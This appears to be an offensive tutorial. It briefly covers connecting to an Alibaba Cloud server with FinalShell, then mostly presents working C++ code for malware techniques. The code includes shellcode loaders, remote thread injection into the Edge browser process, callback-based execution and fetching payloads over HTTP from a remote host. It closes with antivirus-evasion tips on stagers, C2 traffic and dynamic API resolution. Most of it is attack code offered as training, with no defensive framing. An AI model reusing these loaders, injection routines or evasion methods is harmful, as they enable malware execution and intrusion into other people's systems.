Connecting to Alibaba Cloud Server Using FinalShell
- Install FinalShell: Download and install the FinalShell application.
- Login to Alibaba Cloud: Enter your Alibaba Cloud account credentials within the FinalShell settings.
- Select Cloud Server: Navigate to the server section and select your Alibaba Cloud instance.
- Configure Connection: Input the server's public IP, port, username, and password.
- Test Connection: Click the test button and confirm a successful connection with a green indicator.
- Manage Server: Once connected, manage server resources like files, directories, and processes via the FinalShell UI.
Code Execution Training
Example 1: Local Thread Execution
#include <stdio.h>
#include <Windows.h>
#include <fstream>
#include <iostream>
int main() {
const char* filePath = "D:\\C++\\Template\\box.dll";
std::ifstream file(filePath, std::ios::binary);
file.seekg(0, std::ios::end);
size_t fileSize = file.tellg();
file.seekg(0, std::ios::beg);
char* buffer = new char[fileSize];
if (file.is_open()) {
file.read(buffer, fileSize);
}
LPVOID memory = VirtualAlloc(nullptr, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(memory, buffer, fileSize);
HANDLE thread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)memory, nullptr, 0, nullptr);
WaitForSingleObject(thread, INFINITE);
delete[] buffer;
return 0;
}
Example 2: Remote Thread Injection
#include <Windows.h>
#include <TlHelp32.h>
#include <fstream>
#include <iostream>
void InjectToEdgeProcess() {
const char* filePath = "D:\\C++\\Template\\box.dll";
std::ifstream file(filePath, std::ios::binary);
file.seekg(0, std::ios::end);
size_t fileSize = file.tellg();
file.seekg(0, std::ios::beg);
char* buffer = new char[fileSize];
if (file.is_open()) {
file.read(buffer, fileSize);
}
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot, &entry)) {
do {
std::wstring processName(entry.szExeFile);
if (processName.find(L"msedge.exe") != std::string::npos) {
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);
if (process) {
LPVOID remoteMem = VirtualAllocEx(process, nullptr, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remoteMem) {
SIZE_T written;
WriteProcessMemory(process, remoteMem, buffer, fileSize, &written);
CreateRemoteThread(process, nullptr, 0, (LPTHREAD_START_ROUTINE)remoteMem, nullptr, 0, nullptr);
CloseHandle(remoteMem);
}
CloseHandle(process);
}
}
} while (Process32Next(snapshot, &entry));
}
CloseHandle(snapshot);
delete[] buffer;
}
int main() {
InjectToEdgeProcess();
return 0;
}
Shellcode Execution Methods and Memory Segregation
3.1 Shellcode Execution Principle
Executing shellcode requires memory with execute permissions. Standard executable memory segments include:
- .text (Code Segment): Read + Execute
- .data (Data Segment): Read + Write
- Allocated Memory: Must be marked as executable
3.2 Memory Requirements to Shellcode
1. Mark Data Segment as Executable
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "your_shellcode";
2. Allocate Executable Memory
LPVOID execMem = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, sizeof(shellcode));
3. Function Pointer Execution
((void(*)())shellcode)();
4. Direct Pointer Execution
#include <Windows.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "your_shellcode";
int main() {
((void(*)())shellcode)();
}
5. Memory Pointer Execution
#include <Windows.h>
int main() {
unsigned char shellcode[] = "your_shellcode";
void* exec = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
}
6. Thread Execution
CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)shellcode, nullptr, 0, nullptr);
7. Memory Thread Execution
#include <Windows.h>
int main() {
unsigned char shellcode[] = "your_shellcode";
void* mem = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
HANDLE thread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)mem, nullptr, 0, nullptr);
WaitForSingleObject(thread, INFINITE);
return 0;
}
3.3 Callback Function Implementation
#include <Windows.h>
int main() {
unsigned char shellcode[] = "your_shellcode";
LPVOID shellMem = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellMem, shellcode, sizeof(shellcode));
EnumChildWindows(nullptr, (WNDENUMPROC)shellMem, nullptr);
return 0;
}
3.4 Shellcode Separation and Loading
1. File-Based Loading
std::ifstream file("your_shellcode.bin", std::ios::binary);
file.seekg(0, std::ios::end);
size_t size = file.tellg();
file.seekg(0, std::ios::beg);
char* buffer = new char[size];
file.read(buffer, size);
2. HTTP-Based Loading
HINTERNET internet = InternetOpen(nullptr, INTERNET_OPEN_TYPE_DIRECT, nullptr, nullptr, 0);
HINTERNET connect = InternetConnect(internet, L"192.168.1.100", 80, nullptr, nullptr, INTERNET_SERVICE_HTTP, 0, 0);
HINTERNET request = HttpOpenRequest(connect, L"GET", L"/shellcode.bin", nullptr, nullptr, nullptr, 0, 0);
HttpSendRequest(request, nullptr, 0, nullptr, 0);
3. Commend-Line Argument Injection
int main(int argc, char* argv[]) {
if (argc == 3) {
InjectProcess(atoi(argv[1]), argv[2]);
}
return 0;
}
3.5 Flexible Use of Loading Techniques
- Remote Thread → Memory Thread Injection
- APC Injection → Memory Thread Injection
- Process Hollowing → Memory Thread Injection
Thread vs Pointer Execution in Anti-Virus Evasion
Thread-based execution tends to be more effective for evasion because:
- Threads mimic normal execution patterns
- Less memory footprint compared to direct pointer execution
- Stager payloads use minimal code to fetch larger payloads
- Stageless payloads are fully self-contained but larger in size
4.1 Technical Differences
- Stager: Small initial payload that downloads larger payload
- Stageless: Fully functional payload that connects directly
Memory encryption, intermittent C2 commmunication, and dynamic API resolution help evade heuristic detection.